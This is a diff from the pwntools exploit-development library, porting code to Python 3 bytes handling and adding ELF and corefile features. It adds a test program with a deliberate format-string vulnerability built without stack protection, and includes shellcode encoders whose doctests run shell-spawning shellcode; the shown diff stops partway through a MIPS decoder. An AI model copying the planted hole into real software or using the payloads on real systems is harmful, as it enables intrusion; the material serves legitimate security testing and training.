@@ -3,6 +3,7 @@ from __future__ import absolute_import
 from __future__ import division
 
 import argparse
+import six
 import string
 import sys
 
@@ -20,7 +21,8 @@ parser = common.parser_commands.add_parser(
 parser.add_argument(
     '-a', '--alphabet',
     metavar = 'alphabet',
-    default = string.ascii_lowercase,
+    default = string.ascii_lowercase.encode(),
+    type = six.ensure_binary,
     help = 'The alphabet to use in the cyclic pattern (defaults to all lower case letters)',
 )
 
@@ -41,7 +43,7 @@ parser.add_argument(
     help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
 )
 
-group = parser.add_mutually_exclusive_group(required = True)
+group = parser.add_mutually_exclusive_group(required=False)
 group.add_argument(
     '-l', '-o', '--offset', '--lookup',
     dest = 'lookup',
@@ -51,9 +53,10 @@ group.add_argument(
 
 group.add_argument(
     'count',
-    type = int,
-    nargs = '?',
-    help = 'Number of characters to print'
+    type=int,
+    nargs='?',
+    default=None,
+    help='Number of characters to print'
 )
 
 def main(args):
@@ -64,9 +67,10 @@ def main(args):
         pat = args.lookup
 
         try:
-            pat = packing.pack(int(pat, 0), subsize*8)
+            pat = int(pat, 0)
         except ValueError:
             pass
+        pat = flat(pat)
 
         if len(pat) != subsize:
             log.critical('Subpattern must be %d bytes' % subsize)
@@ -87,13 +91,14 @@ def main(args):
         want   = args.count
         result = cyclic(want, alphabet, subsize)
         got    = len(result)
-        if got < want:
+        if want is not None and got < want:
             log.failure("Alphabet too small (max length = %i)" % got)
 
-        sys.stdout.write(result)
+        out = getattr(sys.stdout, 'buffer', sys.stdout)
+        out.write(result)
 
-        if sys.stdout.isatty():
-            sys.stdout.write('\n')
+        if out.isatty():
+            out.write(b'\n')
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/errno.py

@@ -45,4 +45,4 @@ def main(args):
   print(os.strerror(value))
 
 if __name__ == '__main__':
-    pwnlib.commandline.common.main(__file__)
+    common.main(__file__)

pwnlib/commandline/hex.py

@@ -26,4 +26,4 @@ def main(args):
         print(enhex(data))
 
 if __name__ == '__main__':
-    pwnlib.commandline.common.main(__file__)
+    common.main(__file__)

pwnlib/commandline/phd.py

@@ -85,12 +85,12 @@ def main(args):
     text.when = color
 
     if skip:
-        if infile == sys.stdin:
-            infile.read(skip)
-        else:
+        try:
             infile.seek(skip, os.SEEK_CUR)
+        except IOError:
+            infile.read(skip)
 
-    if count:
+    if count != -1:
         infile = io.BytesIO(infile.read(count))
 
     hl = []

pwnlib/commandline/scramble.py

@@ -80,8 +80,8 @@ def main(args):
         parser.print_usage()
         sys.exit(0)
 
-    data   = sys.stdin.read()
-    output = data
+    stdin_buffer = getattr(sys.stdin, 'buffer', sys.stdin)
+    output = stdin_buffer.read()
     fmt    = args.format or ('hex' if tty else 'raw')
     formatters = {'r':bytes, 'h':enhex, 's':repr}
 

pwnlib/commandline/unhex.py

@@ -30,4 +30,4 @@ def main(args):
         sys.stderr.write(str(e) + '\n')
 
 if __name__ == '__main__':
-    pwnlib.commandline.common.main(__file__)
+    common.main(__file__)

pwnlib/config.py

@@ -26,6 +26,9 @@ supported by ``pwnlib.util.safeeval.expr``.
     randomize=1
     timeout=60
     terminal=['x-terminal-emulator', '-e']
+
+    [update]
+    interval=7
 """
 from __future__ import absolute_import
 from __future__ import division

pwnlib/context/__init__.py

@@ -27,6 +27,11 @@ from pwnlib.config import register_config
 from pwnlib.device import Device
 from pwnlib.timeout import Timeout
 
+try:
+    from collections.abc import Iterable
+except ImportError:
+    from collections import Iterable
+
 __all__ = ['context', 'ContextType', 'Thread']
 
 _original_socket = socket.socket
@@ -685,6 +690,7 @@ class ContextType(object):
                      ('x86_64', 'amd64'),
                      ('x86', 'i386'),
                      ('i686', 'i386'),
+                     ('armv7l', 'arm'),
                      ('armeabi', 'arm'),
                      ('arm64', 'aarch64')]
         for k, v in transform:
@@ -838,6 +844,8 @@ class ContextType(object):
                 return b.decode('utf-8')
             except UnicodeDecodeError:
                 return b.decode('latin1')
+            except AttributeError:
+                return b
         return b.decode(self.encoding)
 
     @_validator
@@ -1116,7 +1124,7 @@ class ContextType(object):
         if isinstance(proxy, str):
             proxy = (socks.SOCKS5, proxy)
 
-        if not isinstance(proxy, collections.Iterable):
+        if not isinstance(proxy, Iterable):
             raise AttributeError('proxy must be a string hostname, or tuple of arguments for socks.set_default_proxy')
 
         socks.set_default_proxy(*proxy)
@@ -1224,12 +1232,13 @@ class ContextType(object):
             >>> cache_dir == context.cache_dir
             True
         """
-        home = os.path.expanduser('~')
+        xdg_cache_home = os.environ.get('XDG_CACHE_HOME') or \
+                         os.path.join(os.path.expanduser('~'), '.cache')
 
-        if not os.access(home, os.W_OK):
+        if not os.access(xdg_cache_home, os.W_OK):
             return None
 
-        cache = os.path.join(home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
+        cache = os.path.join(xdg_cache_home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
 
         if not os.path.exists(cache):
             try:

pwnlib/data/elf/__init__.py

@@ -1,4 +1,5 @@
 from __future__ import absolute_import
+from pwnlib.data.elf import fmtstr
 from pwnlib.data.elf import relro
 
 import os

pwnlib/data/elf/fmtstr/Makefile

@@ -0,0 +1,5 @@
+
+all: i386
+
+i386: vuln.c
+	gcc "$^" -fno-stack-protector -no-pie -m32 -o $@

pwnlib/data/elf/fmtstr/__init__.py

@@ -0,0 +1,5 @@
+import os
+path = os.path.dirname(__file__)
+
+def get(x):
+    return os.path.join(path, x)

pwnlib/data/elf/fmtstr/vuln.c

@@ -0,0 +1,25 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#define MEMORY_ADDRESS ((void*)0x11111000)
+#define MEMORY_SIZE 1024
+#define TARGET ((int *) 0x11111110)
+int main(int argc, char const *argv[])
+{
+       char buff[1024];
+       void *ptr = NULL;
+       int *my_var = TARGET;
+       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
+       if(ptr != MEMORY_ADDRESS)
+       {
+               perror("mmap");
+               return EXIT_FAILURE;
+       }
+       *my_var = 0x41414141;
+       write(1, &my_var, sizeof(int *));
+       scanf("%s", buff);
+       dprintf(2, buff);
+       write(1, my_var, sizeof(int));
+       return 0;
+}

pwnlib/dynelf.py

@@ -75,8 +75,8 @@ def sysv_hash(symbol):
     """
     h = 0
     g = 0
-    for c in symbol:
-        h = (h << 4) + ord(c)
+    for c in bytearray(context._encode(symbol)):
+        h = (h << 4) + c
         g = h & 0xf0000000
         h ^= (g >> 24)
         h &= ~g
@@ -87,9 +87,10 @@ def gnu_hash(s):
 
     Function used to generated GNU-style hashes for strings.
     """
+    s = bytearray(context._encode(s))
     h = 5381
     for c in s:
-        h = h * 33 + ord(c)
+        h = h * 33 + c
     return h & 0xffffffff
 
 class DynELF(object):
@@ -292,7 +293,7 @@ class DynELF(object):
         w = None
 
         while True:
-            if self.leak.compare(ptr, '\x7fELF'):
+            if self.leak.compare(ptr, b'\x7fELF'):
                 break
 
             # See if we can short circuit the search
@@ -641,7 +642,7 @@ class DynELF(object):
             p_name = leak.field(cur, LinkMap.l_name)
             name   = leak.s(p_name)
 
-            if libname in name:
+            if libname.encode('utf-8') in name:
                 break
 
             if name:
@@ -740,6 +741,7 @@ class DynELF(object):
 
                 # Leak the name of the function from the symbol table
                 name = leak.s(strtab + leak.field(sym, Sym.st_name))
+                name = name.decode('utf-8')
 
                 # Make sure it matches the name of the symbol we were looking for.
                 if name == symb:
@@ -823,6 +825,7 @@ class DynELF(object):
                 # Check for collision on hash values
                 sym  = symtab + sizeof(Sym) * (ndx + i)
                 name = leak.s(strtab + leak.field(sym, Sym.st_name))
+                name = name.decode('utf-8')
 
                 if name == symb:
                     # No collision, get offset and calculate address
@@ -854,10 +857,10 @@ class DynELF(object):
 
         for offset in libcdb.get_build_id_offsets():
             address = libbase + offset
-            if self.leak.compare(address + 0xC, "GNU\x00"):
+            if self.leak.compare(address + 0xC, b"GNU\x00"):
                 return enhex(b''.join(self.leak.raw(address + 0x10, 20)))
             else:
-                self.status("Magic did not match")
+                self.status("Build ID not found at offset %#x" % offset)
                 pass
 
     def _make_absolute_ptr(self, ptr_or_offset):

pwnlib/elf/config.py

@@ -21,8 +21,8 @@ class KernelConfig(object):
         self.excludes = set(excludes)
 
         #: Kernel version that this check should be enforced on
-        self.minver = map(int, str(minver).split('.'))
-        self.maxver = map(int, str(maxver).split('.'))
+        self.minver = list(map(int, str(minver).split('.')))
+        self.maxver = list(map(int, str(maxver).split('.')))
 
     def relevant(self, config):
 

pwnlib/elf/corefile.py

@@ -381,13 +381,15 @@ class Corefile(ELF):
         This requires GDB to be installed, and can only be done with native
         processes.  Getting a "complete" corefile requires GDB 7.11 or better.
 
-        >>> elf = ELF('/bin/bash')
+        >>> elf = ELF('/bin/bash-static')
         >>> context.clear(binary=elf)
         >>> io = process(elf.path, env={'HELLO': 'WORLD'})
         >>> core = io.corefile
 
         Data can also be extracted directly from the corefile.
 
+        >>> elf.address > 0
+        True
         >>> core.exe[elf.address:elf.address+4]
         b'\x7fELF'
         >>> core.exe.data[:4]
@@ -429,13 +431,13 @@ class Corefile(ELF):
 
         Corefiles can also be pulled from remote machines via SSH!
 
-        >>> s = ssh('travis', 'example.pwnme')
+        >>> s = ssh(host='example.pwnme')
         >>> _ = s.set_working_directory()
         >>> elf = ELF.from_assembly(shellcraft.trap())
         >>> path = s.upload(elf.path)
         >>> _ =s.chmod('+x', path)
         >>> io = s.process(path)
-        >>> io.wait()
+        >>> io.wait(1)
         -1
         >>> io.corefile.signal == signal.SIGTRAP # doctest: +SKIP
         True
@@ -445,7 +447,7 @@ class Corefile(ELF):
         >>> context.clear(arch='amd64')
         >>> elf = ELF.from_assembly('push 1234; ret')
         >>> io = elf.process()
-        >>> io.wait()
+        >>> io.wait(1)
         >>> io.corefile.fault_addr
         1234
 
@@ -459,7 +461,7 @@ class Corefile(ELF):
 
         >>> elf = ELF.from_assembly(shellcraft.crash())
         >>> io = elf.process(env={'FOO': 'BAR=BAZ'})
-        >>> io.wait()
+        >>> io.wait(1)
         >>> core = io.corefile
         >>> core.getenv('FOO')
         b'BAR=BAZ'
@@ -480,9 +482,9 @@ class Corefile(ELF):
         ... '''
         >>> elf = ELF.from_assembly(assembly)
         >>> io = elf.process()
-        >>> io.wait()
+        >>> io.wait(2)
         >>> core = io.corefile
-        [!] End of the stack is corrupted, skipping stack parsing (got: 4141414141414141)
+        [!] End of the stack is corrupted, skipping stack parsing (got: 41414141)
         >>> core.argc, core.argv, core.env
         (0, [], {})
         >>> core.stack.data.endswith(b'AAAA')
@@ -747,13 +749,13 @@ class Corefile(ELF):
 
             >>> elf = ELF.from_assembly(shellcraft.trap())
             >>> io = elf.process()
-            >>> io.wait()
+            >>> io.wait(1)
             >>> io.corefile.signal == signal.SIGTRAP
             True
 
             >>> elf = ELF.from_assembly(shellcraft.crash())
             >>> io = elf.process()
-            >>> io.wait()
+            >>> io.wait(1)
             >>> io.corefile.signal == signal.SIGSEGV
             True
         """
@@ -774,7 +776,7 @@ class Corefile(ELF):
 
             >>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386')
             >>> io = elf.process()
-            >>> io.wait()
+            >>> io.wait(1)
             >>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef
             True
         """
@@ -922,9 +924,9 @@ class Corefile(ELF):
             return
 
         # If the stack does not end with zeroes, something is very wrong.
-        if not stack.data.endswith(b'\x00' * 8):
+        if not stack.data.endswith(b'\x00' * context.bytes):
             log.warn_once("End of the stack is corrupted, skipping stack parsing (got: %s)",
-                          enhex(self.data[-8:]))
+                          enhex(self.data[-context.bytes:]))
             return
 
         # AT_EXECFN is the start of the filename, e.g. '/bin/sh'
@@ -943,16 +945,11 @@ class Corefile(ELF):
 
         # Sanity check!
         try:
-            assert stack[address] == b'\x00'
-        except AssertionError:
-            # Something weird is happening.  Just don't touch it.
-            log.debug("Something is weird")
-            return
+            if stack[address] != b'\x00':
+                log.warning("Error parsing corefile stack: Could not find end of environment")
+                return
         except ValueError:
-            # If the stack is not actually present in the coredump, we can't
-            # read from the stack.  This will fail as:
-            # ValueError: 'seek out of range'
-            log.debug("ValueError")
+            log.warning("Error parsing corefile stack: Address out of bounds")
             return
 
         # address is currently set to the NULL terminator of the last
@@ -966,12 +963,14 @@ class Corefile(ELF):
         p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)
         if p_last_env_addr < 0:
             # Something weird is happening.  Just don't touch it.
-            log.warn_once("Found bad environment at %#x", last_env_addr)
+            log.warn_once("Error parsing corefile stack: Found bad environment at %#x", last_env_addr)
             return
 
         # Sanity check that we did correctly find the envp NULL terminator.
         envp_nullterm = p_last_env_addr+context.bytes
-        assert self.unpack(envp_nullterm) == 0
+        if self.unpack(envp_nullterm) != 0:
+            log.warning("Error parsing corefile stack: Could not find end of environment variables")
+            return
 
         # We've successfully located the end of the envp[] array.
         #
@@ -1071,7 +1070,7 @@ class Corefile(ELF):
 
             >>> elf = ELF.from_assembly(shellcraft.trap())
             >>> io = elf.process(env={'GREETING': 'Hello!'})
-            >>> io.wait()
+            >>> io.wait(1)
             >>> io.corefile.getenv('GREETING')
             b'Hello!'
         """
@@ -1090,7 +1089,7 @@ class Corefile(ELF):
 
             >>> elf = ELF.from_assembly('mov eax, 0xdeadbeef;' + shellcraft.trap(), arch='i386')
             >>> io = elf.process()
-            >>> io.wait()
+            >>> io.wait(1)
             >>> io.corefile.registers['eax'] == 0xdeadbeef
             True
         """
@@ -1533,4 +1532,3 @@ class CorefileFinder(object):
                 return keys['interpreter']
 
         return ''
-

pwnlib/elf/datatypes.py

@@ -191,7 +191,7 @@ class constants:
     NT_AUXV                 = 6
     #
     # Note to userspace developers: size of NT_SIGINFO note may increase
-    # in the future to accomodate more fields, don't assume it is fixed!
+    # in the future to accommodate more fields, don't assume it is fixed!
     #
     NT_SIGINFO              = 0x53494749
     NT_FILE                 = 0x46494c45

pwnlib/elf/elf.py

@@ -83,6 +83,7 @@ from pwnlib.tubes.process import process
 from pwnlib.util import misc
 from pwnlib.util import packing
 from pwnlib.util.fiddling import unhex
+from pwnlib.util.misc import align, align_down
 from pwnlib.util.sh_string import sh_string
 
 log = getLogger(__name__)
@@ -309,7 +310,7 @@ class ELF(ELFFile):
                 config = gz.read()
 
             if config:
-                self.config = parse_kconfig(config)
+                self.config = parse_kconfig(config.decode())
 
         #: ``True`` if the ELF is a statically linked executable
         self.statically_linked = bool(self.elftype == 'EXEC' and self.load_addr)
@@ -591,6 +592,8 @@ class ELF(ELFFile):
         self.symbols = dotdict({k:update(v) for k,v in self.symbols.items()})
         self.plt     = dotdict({k:update(v) for k,v in self.plt.items()})
         self.got     = dotdict({k:update(v) for k,v in self.got.items()})
+        for f in self.functions.values():
+            f.address += delta
 
         # Update our view of memory
         memory = intervaltree.IntervalTree()
@@ -1020,7 +1023,7 @@ class ELF(ELFFile):
                                                 section.data(),
                                                 inv_symbols)
 
-                for address, target in reversed(sorted(res.items())):
+                for address, target in sorted(res.items()):
                     self.plt[inv_symbols[target]] = address
 
         for a,n in sorted({v:k for k,v in self.plt.items()}.items()):
@@ -1031,7 +1034,10 @@ class ELF(ELFFile):
             return
 
         banner = self.string(self.symbols.linux_banner)
-
+        
+        # convert banner into a utf-8 string since re.search does not accept bytes anymore
+        banner = banner.decode('utf-8')
+        
         # 'Linux version 3.18.31-gd0846ecc
         regex = r'Linux version (\S+)'
         match = re.search(regex, banner)
@@ -1046,6 +1052,49 @@ class ELF(ELFFile):
 
         self.config['version'] = self.version
 
+    @property
+    def libc_start_main_return(self):
+        """
+            Try to find the return address from main into __libc_start_main.
+            The heuristic to find the call to the function pointer of main is
+            to list all calls inside __libc_start_main, find the call to exit
+            after the call to main and select the previous call.
+        """
+        if '__libc_start_main' not in self.functions:
+            return 0
+
+        if 'exit' not in self.symbols:
+            return 0
+
+        # If there's no delay slot, execution continues on the next instruction after a call.
+        call_return_offset = 1
+        if self.arch in ['arm', 'thumb']:
+            call_instructions = set(['blx', 'bl'])
+        elif self.arch == 'aarch64':
+            call_instructions = set(['blr', 'bl'])
+        elif self.arch in ['mips', 'mips64']:
+            call_instructions = set(['bal', 'jalr'])
+            # Account for the delay slot.
+            call_return_offset = 2
+        elif self.arch in ['i386', 'amd64', 'ia64']:
+            call_instructions = set(['call'])
+        else:
+            log.error('Unsupported architecture %s in ELF.libc_start_main_return', self.arch)
+            return 0
+        
+        code = self.disasm(self.symbols['__libc_start_main'], self.functions['__libc_start_main'].size)
+        exit_addr = hex(self.symbols['exit'])
+        lines = code.split('\n')
+        calls = [(index, line) for index, line in enumerate(lines) if set(line.split()) & call_instructions]
+        exit_calls = [index for index, line in enumerate(calls) if exit_addr in line[1]]
+        if len(exit_calls) != 1:
+            return 0
+
+        call_to_main = calls[exit_calls[0] - 1]
+        return_from_main = lines[call_to_main[0] + call_return_offset].lstrip()
+        return_from_main = int(return_from_main[ : return_from_main.index(':') ], 16)
+        return return_from_main
+
     def search(self, needle, writable = False):
         """search(needle, writable = False) -> generator
 
@@ -1153,6 +1202,11 @@ class ELF(ELFFile):
             # DT_LOAD segment is **last** to load data into the region.
             self.memory.chop(start, stop_data)
 
+            # Fill the start of the segment's first page
+            page_start = align_down(0x1000, start)
+            if page_start < start and not self.memory[page_start]:
+                self.memory.addi(page_start, start, None)
+
             # Add the new segment
             if start != stop_data:
                 self.memory.addi(start, stop_data, segment)
@@ -1160,15 +1214,22 @@ class ELF(ELFFile):
             if stop_data != stop_mem:
                 self.memory.addi(stop_data, stop_mem, b'\x00')
 
+            page_end = align(0x1000, stop_mem)
+
             # Check for holes which we can fill
             if self._fill_gaps and i+1 < len(load_segments):
                 next_start = load_segments[i+1].header.p_vaddr
-                
-                if stop_mem < next_start and stop_mem>>(self.bits-1) == next_start>>(self.bits-1):
-                    self.memory.addi(stop_mem, next_start, None)
-            else:
-                page_end = (stop_mem + 0xfff) & ~(0xfff)
+                page_next = align_down(0x1000, next_start)
 
+                if stop_mem < next_start:
+                    if page_end < page_next:
+                        if stop_mem < page_end:
+                            self.memory.addi(stop_mem, page_end, None)
+                        if page_next < next_start:
+                            self.memory.addi(page_next, next_start, None)
+                    else:
+                        self.memory.addi(stop_mem, next_start, None)
+            else:
                 if stop_mem < page_end:
                     self.memory.addi(stop_mem, page_end, None)
 
@@ -1600,7 +1661,7 @@ class ELF(ELFFile):
             ``PT_GNU_STACK``
 
             The p_flags member specifies the permissions on the segment
-            containing the stack and is used to indicate wether the stack
+            containing the stack and is used to indicate whether the stack
             should be executable. The absense of this header indicates
             that the stack will be executable.
 
@@ -1871,7 +1932,7 @@ class ELF(ELFFile):
     def unpack(self, address, *a, **kw):
         """Unpacks an integer from the specified ``address``."""
         self._update_args(kw)
-        return packing.unpack(self.read(address, context.bytes), *a, **kw)
+        return packing.unpack(self.read(address, self.bytes), *a, **kw)
 
     def string(self, address):
         """string(address) -> str

pwnlib/encoders/amd64/delta.py

@@ -5,19 +5,20 @@ from pwnlib.encoders.i386.delta import i386DeltaEncoder
 
 
 class amd64DeltaEncoder(i386DeltaEncoder):
-    """
+    r"""
     amd64 encoder built on delta-encoding.
 
     In addition to the loader stub, doubles the size of the shellcode.
 
     >>> context.clear(arch='amd64')
     >>> shellcode = asm(shellcraft.sh())
-    >>> avoid = '/bin/sh\x00'
+    >>> avoid = b'/bin/sh\x00'
     >>> encoded = pwnlib.encoders.amd64.delta.encode(shellcode, avoid)
     >>> assert not any(c in encoded for c in avoid)
     >>> p = run_shellcode(encoded)
     >>> p.sendline(b'echo hello; exit')
     >>> p.recvline()
+    b'hello\n'
     """
     assembly = '''
 base:
@@ -39,7 +40,7 @@ next:
 data:
 '''
     arch      = 'amd64'
-    raw       = 'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
+    raw       = b'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
     blacklist = set(raw)
 
 encode = amd64DeltaEncoder()

pwnlib/encoders/arm/xor.py

@@ -15,7 +15,7 @@ class ArmXorEncoder(Encoder):
 
     >>> context.clear(arch='arm')
     >>> shellcode = asm(shellcraft.sh())
-    >>> avoid = 'binsh\x00\n'
+    >>> avoid = b'binsh\x00\n'
     >>> encoded = pwnlib.encoders.arm.xor.encode(shellcode, avoid)
     >>> assert not any(c in encoded for c in avoid)
     >>> p = run_shellcode(encoded)

pwnlib/encoders/i386/delta.py

@@ -1,6 +1,7 @@
 from __future__ import absolute_import
 from __future__ import division
 
+import six
 import collections
 from random import choice
 from random import randint
@@ -41,7 +42,7 @@ class i386DeltaEncoder(Encoder):
 
     Example:
 
-        >>> sc = pwnlib.encoders.i386.delta.encode('\xcc', '\x00\xcc')
+        >>> sc = pwnlib.encoders.i386.delta.encode(b'\xcc', b'\x00\xcc')
         >>> e  = ELF.from_bytes(sc)
         >>> e.process().poll(True)
         -5
@@ -50,36 +51,35 @@ class i386DeltaEncoder(Encoder):
     arch       = 'i386'
     stub       = None
     terminator = 0xac
-    raw        = '\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
+    raw        = b'\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
 
     blacklist  = set(raw)
 
-    def __call__(self, bytes, avoid, pcreg=''):
+    def __call__(self, raw_bytes, avoid, pcreg=''):
         table = collections.defaultdict(lambda: [])
-        endchar = ''
+        endchar = bytearray()
 
-        not_bad = lambda x: chr(x) not in avoid
+        not_bad = lambda x: six.int2byte(x) not in avoid
         not_bad_or_term = lambda x: not_bad(x) and x != self.terminator
 
         for i in filter(not_bad_or_term, range(0, 256)):
-            endchar += chr(i)
+            endchar.append(i)
             for j in filter(not_bad, range(0, 256)):
-                table[(j - i) & 0xff].append(chr(i) + chr(j))
+                table[(j - i) & 0xff].append(bytearray([i, j]))
 
-        res = self.raw
+        res = bytearray(self.raw)
 
-        for c in bytes:
-            a = ord(c)
-            l = len(table[a])
+        for c in bytearray(raw_bytes):
+            l = len(table[c])
             if l == 0:
-                print('No encodings for character %02x' % a)
+                print('No encodings for character %02x' % c)
                 return None
 
-            res += table[a][randint(0, l - 1)]
+            res += table[c][randint(0, l - 1)]
 
-        res += chr(self.terminator)
-        res += choice(endchar)
+        res.append(self.terminator)
+        res.append(choice(endchar))
 
-        return res
+        return bytes(res)
 
 encode = i386DeltaEncoder()

pwnlib/encoders/mips/xor.py

@@ -26,6 +26,7 @@
 from __future__ import absolute_import
 from __future__ import division
 
+import six
 from pwnlib import asm
 from pwnlib import shellcraft
 from pwnlib.context import context
@@ -33,67 +34,67 @@ from pwnlib.encoders.encoder import Encoder
 from pwnlib.util.fiddling import xor_key
 
 decoders = {
-    'little': ''.join([
-    "SIZ2SIZ1\x0e\x24",    # li t6,-5
-    "\x27\x70\xc0\x01",    # nor    t6,t6,zero
-    "\xa3\xff\x0b\x24",    # li t3,-93
-    "\x26\x40\xce\x01",    # xor    t0,t6,t6
-    "\xff\xff\x08\x21",    # addi   t0,t0,-1
-    "\xff\xff\x10\x05",    # bltzal t0,14 <next>
-    "\x82\x82\x08\x28",    # slti   t0,zero,-32126
-    "\xe2\xff\xfd\x23",    # addi   sp,ra,-30
-    "\x27\x58\x60\x01",    # nor    t3,t3,zero
-    "\x21\xc8\xeb\x03",    # addu   t9,ra,t3
-    "\x82\x82\x17\x28",    # slti   s7,zero,-32126
-    "\xfc\xff\x31\x8f",    # lw s1,-4(t9)
-    "\xfb\xff\x0c\x24",    # li t4,-5
-    "\x27\x60\x80\x01",    # nor    t4,t4,zero
-    "\xfd\xff\x8f\x21",    # addi   t7,t4,-3
-    "\xfc\xff\x28\x8f",    # lw t0,-4(t9)
-    "\x21\xb8\xef\x02",    # addu   s7,s7,t7
-    "\x26\x18\x11\x01",    # xor    v1,t0,s1
-    "\x2b\xf0\xee\x02",    # sltu   s8,s7,t6
-    "\xfc\xff\x23\xaf",    # sw v1,-4(t9)
-    "\xfa\xff\x1e\x14",    # bne    zero,s8,3c <loop>
-    "\x21\xc8\x2c\x03",    # addu   t9,t9,t4
-    "\xfd\xff\x86\x21",    # addi   a2,t4,-3
-    "\xf8\xff\xa6\xaf",    # sw a2,-8(sp)
-    "\x26\x28\xce\x01",    # xor    a1,t6,t6
-    "\xfc\xff\xa5\xaf",    # sw a1,-4(sp)
-    "\xf8\xff\xa4\x27",    # addiu  a0,sp,-8
-    "\x46\x10\x02\x24",    # li v0,4166
-    "\x0c\x54\x4a\x01"     # syscall   0x52950
+    'little': b''.join([
+    b'SIZ2SIZ1\x0e\x24',    # li t6,-5
+    b'\x27\x70\xc0\x01',    # nor    t6,t6,zero
+    b'\xa3\xff\x0b\x24',    # li t3,-93
+    b'\x26\x40\xce\x01',    # xor    t0,t6,t6
+    b'\xff\xff\x08\x21',    # addi   t0,t0,-1
+    b'\xff\xff\x10\x05',    # bltzal t0,14 <next>
+    b'\x82\x82\x08\x28',    # slti   t0,zero,-32126
+    b'\xe2\xff\xfd\x23',    # addi   sp,ra,-30
+    b'\x27\x58\x60\x01',    # nor    t3,t3,zero
+    b'\x21\xc8\xeb\x03',    # addu   t9,ra,t3
+    b'\x82\x82\x17\x28',    # slti   s7,zero,-32126
+    b'\xfc\xff\x31\x8f',    # lw s1,-4(t9)
+    b'\xfb\xff\x0c\x24',    # li t4,-5
+    b'\x27\x60\x80\x01',    # nor    t4,t4,zero
+    b'\xfd\xff\x8f\x21',    # addi   t7,t4,-3
+    b'\xfc\xff\x28\x8f',    # lw t0,-4(t9)
+    b'\x21\xb8\xef\x02',    # addu   s7,s7,t7
+    b'\x26\x18\x11\x01',    # xor    v1,t0,s1
+    b'\x2b\xf0\xee\x02',    # sltu   s8,s7,t6
+    b'\xfc\xff\x23\xaf',    # sw v1,-4(t9)
+    b'\xfa\xff\x1e\x14',    # bne    zero,s8,3c <loop>
+    b'\x21\xc8\x2c\x03',    # addu   t9,t9,t4
+    b'\xfd\xff\x86\x21',    # addi   a2,t4,-3
+    b'\xf8\xff\xa6\xaf',    # sw a2,-8(sp)
+    b'\x26\x28\xce\x01',    # xor    a1,t6,t6
+    b'\xfc\xff\xa5\xaf',    # sw a1,-4(sp)
+    b'\xf8\xff\xa4\x27',    # addiu  a0,sp,-8
+    b'\x46\x10\x02\x24',    # li v0,4166
+    b'\x0c\x54\x4a\x01'     # syscall   0x52950
     ]),
-    'big': ''.join([
-    "\x24\x0eSIZ1SIZ2",    # li t6,-5
-    "\x01\xc0\x70\x27",    # nor    t6,t6,zero
-    "\x24\x0b\xff\xa3",    # li t3,-93
-    "\x01\xce\x40\x26",    # xor    t0,t6,t6
-    "\x21\x08\xff\xff",    # addi   t0,t0,-1
-    "\x05\x10\xff\xff",    # bltzal t0,14 <next>
-    "\x28\x08\x82\x82",    # slti   t0,zero,-32126
-    "\x23\xfd\xff\xe2",    # addi   sp,ra,-30
-    "\x01\x60\x58\x27",    # nor    t3,t3,zero
-    "\x03\xeb\xc8\x21",    # addu   t9,ra,t3
-    "\x28\x17\x82\x82",    # slti   s7,zero,-32126
-    "\x8f\x31\xff\xfc",    # lw s1,-4(t9)
-    "\x24\x0c\xff\xfb",    # li t4,-5
-    "\x01\x80\x60\x27",    # nor    t4,t4,zero
-    "\x21\x8f\xff\xfd",    # addi   t7,t4,-3
-    "\x8f\x28\xff\xfc",    # lw t0,-4(t9)
-    "\x02\xef\xb8\x21",    # addu   s7,s7,t7
-    "\x01\x11\x18\x26",    # xor    v1,t0,s1
-    "\x02\xee\xf0\x2b",    # sltu   s8,s7,t6
-    "\xaf\x23\xff\xfc",    # sw v1,-4(t9)
-    "\x14\x1e\xff\xfa",    # bne    zero,s8,3c <loop>
-    "\x03\x2c\xc8\x21",    # addu   t9,t9,t4
-    "\x21\x86\xff\xfd",    # addi   a2,t4,-3
-    "\xaf\xa6\xff\xf8",    # sw a2,-8(sp)
-    "\x01\xce\x28\x26",    # xor    a1,t6,t6
-    "\xaf\xa5\xff\xfc",    # sw a1,-4(sp)
-    "\x27\xa4\xff\xf8",    # addiu  a0,sp,-8
-    "\x24\x02\x10\x46",    # li v0,4166
-    "\x01\x4a\x54\x0c"    # syscall 0x52950
+    'big': b''.join([
+    b'\x24\x0eSIZ1SIZ2',    # li t6,-5
+    b'\x01\xc0\x70\x27',    # nor    t6,t6,zero
+    b'\x24\x0b\xff\xa3',    # li t3,-93
+    b'\x01\xce\x40\x26',    # xor    t0,t6,t6
+    b'\x21\x08\xff\xff',    # addi   t0,t0,-1
+    b'\x05\x10\xff\xff',    # bltzal t0,14 <next>
+    b'\x28\x08\x82\x82',    # slti   t0,zero,-32126
+    b'\x23\xfd\xff\xe2',    # addi   sp,ra,-30
+    b'\x01\x60\x58\x27',    # nor    t3,t3,zero
+    b'\x03\xeb\xc8\x21',    # addu   t9,ra,t3
+    b'\x28\x17\x82\x82',    # slti   s7,zero,-32126
+    b'\x8f\x31\xff\xfc',    # lw s1,-4(t9)
+    b'\x24\x0c\xff\xfb',    # li t4,-5
+    b'\x01\x80\x60\x27',    # nor    t4,t4,zero
+    b'\x21\x8f\xff\xfd',    # addi   t7,t4,-3
+    b'\x8f\x28\xff\xfc',    # lw t0,-4(t9)
+    b'\x02\xef\xb8\x21',    # addu   s7,s7,t7
